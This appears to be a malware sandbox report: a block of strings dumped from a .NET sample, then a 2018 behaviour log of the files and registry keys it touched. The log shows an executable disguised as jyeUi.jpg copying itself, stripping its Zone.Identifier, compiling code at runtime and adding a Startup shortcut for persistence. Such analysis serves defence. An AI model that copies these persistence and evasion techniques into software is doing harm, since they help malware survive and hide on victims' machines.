f_[c!IZ
tcfF
DM~&
H.o4
bI^`
{c6'
@?0=`
blk7
K.c]
Vy/%
'Wu?
4@+
1jxjy
sS:w
BeginInvoke
-2][
=\Jx
B+ (#
DuZv
gkxuV
B+ ((
=^Ow
6=]u
B+ (1
Yo
F7 X2goq$
[6j8
Nz2J
%s~_/
B+ (O
OmoTL^
{[WN;e
B+ (\
RuntimeHelpers
2/V
< ~bw
B+ (j
B+ (h
Q aj
uJy=cd
sv?`
B+ (w
{UW@
B+ (y
+!83
8jU}
Hn{.'5`|
%_Y q
*Y,,
Object
B75Hu
vH+x*5`
:{q*
Qf&F
`?_
04Eo
2u*^
Vx4h3kESuU
IYpUpUf
af!Nk
t{"l
:A$
6F\>
#_CVk
BuBhhk8nFp
|:Siz
oT_\$
owMuNZm
k2Mh9v15AhbTksv2NZ6
wcgk#n
MethodInfo
jJQQ?
l'a(G_
>h,}1
|*S*
X%U
Ty*V
g! pr
Q|].4
2~aP%V
*WLS)
V] M
!yqo
[dA'
DW9$
]gm
9'rM4
[z,c
?JFE
Hel2
QF%y,
$|QS"e
y,{x
41HN[8 '0
/5 ^
O4BB7VEyi8wYwFpUhH
GRV
U\ y1
~NUOP
FV3q1
Exit
,NUZF5vi/
cOW5
l6V{aV
%aO0#u
.E(M/
LZ35bJ1scOCQ12FMKv5
z6ty
mo,+<
Z^J PT
BKp>
$)q)
\8Vqf
kJ6
pjdVU
]Mj%
Hp8
ua*#
rhasJtm9vDAUrDp1uHY
""u
h(q
5{N}aIf
x{su
toLMd
$@({
?S/71
7I9F+
}gR
<9LB
4P74
;{Vn>_
n=0k
percentDecimalDigits
`O8H
SFU4mbT3GMret7THonf
N.$_.M
"(M/
j1o"
qYwlGFfrXGSmPXr4o5D
c-lB
fJK
vpip
o?e7
u-h
hjblIGflMxdP6sR5mOh
E/y9#
Q^jZ
I~%"0wce
6@. AJ
c$3
l,v
/oGI
:D]@'l/,
}S3B,
f_`X
PuhO
mc8hoPdnHy
_+ ]q
J\c{3a
I}6QxY8
cj;v
![cc%
B!`j)+
dD&c]
+z {A
?WzH
F6hA
kn z
yfje
currencyDecimalDigits
C~4=
/)?0
v8Ct
]C5*N
g|` 0
n\xB,\
i3Jy
J'a?Z
`mXT
D@9c
4%pf
}]a$
0G+s4Y
8+P
QMahYpPxRS
rJvql
%8b`p
8 V$
S/5/
Next
E DAi
<Module>{38D4CA74-8157-4F8E-B93E-BB6951268883}
q M.
FFXRO
Sj,H
77onqg
875B
zX~R
T$utJInJ
jK -K<
%VnG
}XSQ
~xV:p]
cK&>GW&J#;
;[H4}.
DWZEaAl
6!g
s!qZ
>!
j.v)
+ (T
+ (V
+ (W
^!ac8
+ (Q
I<qN
+ (X
+ ([
+ (E
+ (G
A:zb
+ (L
+ (M
+ (O
+ (p
\AxvI
+ (s
+ (|
+ (}
+ (x
+ (z
,%Ww
+ (f
plSALRAnmpk4G5lv
+ (`
+ (b
+ (c
+ (l
+ (m
Yt1[
*V+ (6V~;
xG{w
+ (
cI(&%
?''0
+ (
+ (5
+ (1
+ (3
+ (<
l8pe
v)c-
oDPT
+ (
q$ I
GetTypeFromHandle
-50N
+ (-
+ (.
rs9GYZCxy
9$R6y2
G (1
+ (*
+ (+
QZIjTDh
G+ Rv
'o\1
9yV1
SVt8
o5|b
MG0/
get_AllowOnlyFipsAlgorithms
sf9;
r1UY[s15
}>)%+
Gd(UQ
ykzRK
XJbMe
?|CJ
UI_"
WWNb|jAp
'KiKJ
x&6*
>(|4
XHYhCW7YUC
|QGO
(7Y/
uXu[
^#Q(
F"&2p
System.Runtime.InteropServices
z'DE_
.VGLlZ#GNrF
N,3E
4>)"N
"%X
]D
[WL!
j=nq
n bD
@4e^Z\:
us`%
> tO` H
V[cX]"
CF7TGvmJ9adTJWpZApb
L71OQKf7HoBgDBDQUuM
&bjh
?-)+
V+ (oQ
f+ (#M
D 6Hs
`\JMW
Z8i^
*
l$Oeb
set_CompilerOptions
*K0t)
n5 i
(T
qRI+
fMkfVEQ
/L48
c-IQ
357>
(>"i-p
wn?`
}CZQ
^'8tb
A4'r
W SX
3V<OS
n'!O
Y`-}
uxh3
5]qIS|H"
Z"Uoyb
xc=t
o(^r
A4 .
A^nH
cc$d/
#z}9
QC1Saw1e2KYeSiTMx5J
59Zi
G
I7d(
x98bwZ1BH3Bu7Gt1s4Q
p zieZ/
@:#?
j(>R
n `@
LXymqeQ
0- 1
.~~66
} *p
%l+'
wV |
]aOL
RLWL
x#C{
{@O*
)K -
EvQ
ddN*
btJ]
KF73KTmCUueiruqR8tk
Wd~S
9|SH^
RXkyvxp
|F^9o
%<pS
yo4z
,vz&
#Gf'
hvvsw
pj8?-~
_b`*
nativeEntry
lO0UaTXufPTbe3XoRf
2)<D\
GKZAYmmnuYRlr8VpjtY
HO !p
4~mE
@M g
*)->s
gPGW
3b,!
< q `$
percentGroupSizes positiveSign negativeSign
tZ[i
ToString
t j_
%%3|`
B 8:
I|PYL
xv`4;V1Y
je lPB
'I` X[
J~=f
Oxjzc}
DrKOcYXWp
ee[H
egSb4=
%HLc|
U586SdP027XeA1svMw2
Encoding
"Q
9+P9
k% zI{
Vt9K
m1m
kX\'
ksHx0MfexAwpjyH6HMv
R,.Y;_
6 }S
qdJc3lf8VkVSEs0Cufy
tl9 X
>C>;
iF!uk
\rEp
JYjekAP2a77PNnPOdfZ
Snbd
cFiGE7PjIQjBLkwvju5
v|,:
Q:aw
f3,h
vvqA
<Xo"
MIb8QG1y8SZlyKMBiGq
a`Ir!
[ ~B
DBX1t
@)eU
GTlhG6ajB3
pNoO
> Y-
It{I
28xt|
y~{[IB
x'[,I
op^U
;s~\
vF)cGz
>@)
va:>8|>y
FOYhwmVLd
Ao.y
E>G~
KCvRQJ1JpVlZxEplDoC
;%l~
L[ \e
dj/e$
MBCeYV<
H) O
w5F?
2:|&"s&
Xrm
P%QA[o3s
,V
x 1
mReML
UUUU_
omJ,#
9!Jo
VQFnKHmyPowCoaL2v7i
Y1ZsgaPVcIEK7m49KeW
Oq)n
?0NS[
lf:=
O#j
JSZvs
A:'"m
MLYhTUW3qj
(9v&
^;1w
T2]'
.`Z|
jQiwomPop7TwLHZWHxq
Fiv
jn s
@.8
&lh1} [
IsU*6D%
QEQ
Unwrap
n?W1
yF1U
!&sF
"F7qn
PLAb
!2+
F;om
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven06_64 Seven06_64 VirtualBox 2018-07-10 00:18:26 2018-07-10 00:21:21 175

12 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven06_64 Seven06_64 VirtualBox 2018-07-10 00:18:26 2018-07-10 00:21:21 175

8 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\jyeUi.jpg.config
C:\Users\Seven01\AppData\Local\Temp\jyeUi.jpg
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Users\Seven01\AppData\Local\Temp\jyeUi.config
C:\Windows\assembly\NativeImages_v4.0.30319_32\plSALRAnmpk4G5lv\*
C:\Users\Seven01\AppData\Local\Temp\jyeUi.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.tmp
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.0.cs
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.out
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.err
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\jyeUi.jpg.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\AppData\Roaming\jyeUi.jpg
C:\Users\Seven01\AppData\Roaming\jyeUi.jpg:Zone.Identifier
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aYsfpK.url
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_64
C:\Windows\assembly\GAC_64\mscorlib.resources
C:\Windows\assembly\GAC_32
C:\Windows\assembly\GAC_32\mscorlib.resources
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\*
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC
C:\Windows\assembly\GAC\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_64
C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_32
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_MSIL
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Management.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Users\Seven01\AppData\Local\Temp\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Users\Seven01\AppData\Local\Temp\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSCC1D90F88F75D4528852EB0A66CA4D35C.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA9EC.tmp
C:\Windows\System32\tzres.dll
C:\Windows\SysWOW64\ntdll.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\jyeUi.jpg.config
C:\Users\Seven01\AppData\Local\Temp\jyeUi.jpg
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSCC1D90F88F75D4528852EB0A66CA4D35C.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA9EC.tmp
C:\Windows\System32\tzres.dll
C:\Windows\SysWOW64\ntdll.dll

Write Files

C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.tmp
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.0.cs
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.cmdline
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.out
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.err
C:\Users\Seven01\AppData\Roaming\jyeUi.jpg
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aYsfpK.url
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.pdb
C:\Users\Seven01\AppData\Local\Temp\CSCC1D90F88F75D4528852EB0A66CA4D35C.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA9EC.tmp

Delete Files

C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.out
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.tmp
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.err
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.dll
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.pdb
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.0.cs
C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.cmdline
C:\Users\Seven01\AppData\Roaming\jyeUi.jpg:Zone.Identifier
C:\Users\Seven01\AppData\Local\Temp\RESA9EC.tmp
C:\Users\Seven01\AppData\Local\Temp\CSCC1D90F88F75D4528852EB0A66CA4D35C.TMP

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jyeUi.jpg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
